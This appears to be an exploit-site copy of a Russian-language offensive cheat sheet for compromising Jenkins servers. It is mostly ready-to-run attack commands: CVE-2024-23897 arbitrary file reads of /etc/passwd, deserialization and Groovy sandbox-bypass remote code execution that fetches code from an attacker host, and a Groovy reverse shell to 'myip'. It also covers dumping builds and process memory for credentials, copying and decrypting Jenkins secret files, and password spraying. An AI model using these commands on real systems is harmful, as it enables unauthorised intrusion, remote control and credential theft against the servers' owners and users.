Sploitus

Exploit Code

MARKDOWN290 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GQUERE-PWN_JENKINS
![](https://assets.kitploit.com/production/public/readmes/48720/51750e5e0b3678d0870aea7758f09c19c17f7b0d91b3a7fefadba94daf9db1f4.png)

# Удалённое выполнение кода

## Произвольное чтение через Jenkins CLI (CVE-2024-23897 применим к версиям ниже 2.442 и LTS 2.426.3)

Консультация Jenkins, Авторы

Аутентифицированный пользователь может получить полный файл:

root@kitploit:~
    
    
    java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
    

Без аутентификации или при отсутствии разрешений Global/Read можно прочитать только 3 строки: Чтение первой строки:

root@kitploit:~
    
    
    java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
    

Чтение второй строки:

root@kitploit:~
    
    
    java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
    

Чтение третьей строки:

root@kitploit:~
    
    
    java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
    

Как перебрать ключ шифрования учётных данных.

## RCE через десериализацию в старых Jenkins (CVE-2015-8103, Jenkins 1.638 и старше)

Используйте ysoserial для генерации пейлоада. Затем выполните RCE с помощью этого скрипта:

root@kitploit:~
    
    
    java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
    ./jenkins_rce.py jenkins_ip jenkins_port payload.out
    

## Обход аутентификации/ACL (CVE-2018-1000861, Jenkins <2.150.1)

Консультация Jenkins

Подробности здесь.

Если Jenkins запрашивает аутентификацию, но возвращает валидные данные при следующем запросе, значит, он уязвим:

root@kitploit:~
    
    
    curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
    

## RCE через метапрограммирование в плагинах Jenkins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

Консультация Jenkins

Оригинальная RCE-уязвимость здесь, полный эксплойт здесь.

Альтернативная RCE с разрешениями Overall/Read и Job/Configure здесь.

## RCE через CheckScript в Jenkins (CVE-2019-1003029, CVE-2019-1003030)

Консультация Jenkins, Авторы.

Проверьте, уязвим ли экземпляр Jenkins (требуются разрешения Overall/Read), с помощью следующего Groovy-кода:

root@kitploit:~
    
    
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
    

_Примечание: Если вы получили ошибку 403 об отсутствующем crumb (это защита от CSRF в Jenkins), вы можете получить значение crumb с помощью GET-запроса к`https://example.com/crumbIssuer/api/json`. Затем это значение crumb должно быть добавлено в POST-запрос в заголовке `Jenkins-Crumb`._

Выполните произвольные bash-команды:

root@kitploit:~
    
    
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
    

Если вы не сразу получили reverse shell, вы можете выполнить отладку, вызвав исключение:

root@kitploit:~
    
    
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
    

## RCE в плагине Git (<3.12.0) в Jenkins (CVE-2019-10392)

Консультация Jenkins, Авторы.

Эта уязвимость сработает только в том случае, если пользователь имеет права 'Jobs/Configure' в матрице безопасности, так что она очень специфична.

## CorePlague (CVE-2023-27898, CVE-2023-27905)

Консультация Jenkins, Авторы

Обратите внимание, что эта уязвимость эксплуатируется только при использовании _выделенного_ и устаревшего Update Center. Поэтому большинство серверов не уязвимы.

# Дамп сборок для поиска секретов в открытом виде

Используйте этот скрипт для дампа выводов консоли сборок и переменных окружения сборок, чтобы найти секреты в открытом виде.

root@kitploit:~
    
    
    usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                                  [-l] [-r] [-d] [-s] [-v]
                                  url [url ...]
    
    Dump all available info from Jenkins
    
    positional arguments:
      url
    
    optional arguments:
      -h, --help            show this help message and exit
      -u USER, --user USER
      -p PASSWORD, --password PASSWORD
      -o OUTPUT_DIR, --output-dir OUTPUT_DIR
      -l, --last            Dump only the last build of each job
      -r, --recover_from_failure
                            Recover from server failure, skip all existing
                            directories
      -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
      -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                            each request (for legacy)
      -v, --verbose         Debug mode
    

# Password spraying

Используйте этот python-скрипт или этот powershell-скрипт.

# Файлы для копирования после компрометации

Эти файлы необходимы для расшифровки секретов Jenkins:

  * secrets/master.key
  * secrets/hudson.util.Secret



Такие секреты обычно можно найти в:

  * credentials.xml
  * jobs/.../build.xml



Вот регулярное выражение (regexp) для их поиска:

root@kitploit:~
    
    
    grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
    

# Дамп учётных данных LDAP на скомпрометированной машине

Если Jenkins настроен на проверку учётных данных пользователей путём их передачи в LDAP (что глупо, но является распространённой уязвимостью в компаниях), можно восстановить эти учётные данные в открытом виде, выполнив дамп памяти Java-процесса. Предполагая, что PID Jenkins-сервера равен 7, следующий цикл будет выполнять дамп памяти стека каждые 30 секунд:

root@kitploit:~
    
    
    head -n 1 /proc/7/maps
    a=<first hex number>
    b=<second hex number>
    while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
    

Небольшая задержка важна, потому что сборщик мусора будет регулярно освобождать структуры учётных данных.

# Автономная расшифровка секретов Jenkins

Используйте этот скрипт для расшифровки ранее извлечённых секретов.

root@kitploit:~
    
    
    Usage:
    	jenkins_offline_decrypt.py <jenkins_base_path>
    or:
    	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
    or:
    	jenkins_offline_decrypt.py -i <path> (interactive mode)
    

# Groovy-скрипты

## Расшифровка секретов Jenkins из Groovy

root@kitploit:~
    
    
    println(hudson.util.Secret.decrypt("{...}"))
    

## Выполнение команд из Groovy

root@kitploit:~
    
    
    def proc = "id".execute();
    def os = new StringBuffer();
    proc.waitForProcessOutput(os, System.err);
    println(os.toString());
    

Многострочная shell-команда, которая может содержать конвейеры (pipes), перенаправления и прочее:

root@kitploit:~
    
    
    def proc = ['bash', '-c', '''your_long_command_here'''].execute();
    

Автоматизируйте это с помощью этого скрипта.

## Выполнение команд на конкретном slave

По умолчанию выполнение происходит на главном узле (master). Используйте этот скрипт для выполнения на конкретном slave:

root@kitploit:~
    
    
    import hudson.util.RemotingDiagnostics
    import jenkins.model.Jenkins
    
    String agent_name = 'slave_name'
    
    groovy_script = '''
    def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
    def os = new StringBuffer();
    proc.waitForProcessOutput(os, System.err);
    println(os.toString());
    '''
    
    String result
    Jenkins.instance.slaves.find { agent ->
        agent.name == agent_name
    }.with { agent ->
        result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
    }
    println result
    

## Reverse shell из Groovy

root@kitploit:~
    
    
    String host="myip";
    int port=1234;
    String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    
    

Оставлю здесь эту подсказку по reverse shell для получения полноценного PTY, если кому-то понадобится:

root@kitploit:~
    
    
    python -c 'import pty; pty.spawn("/bin/bash")'
    ^Z bg
    stty -a
    echo $TERM
    stty raw -echo
    fg
    export TERM=...
    stty rows xx columns yy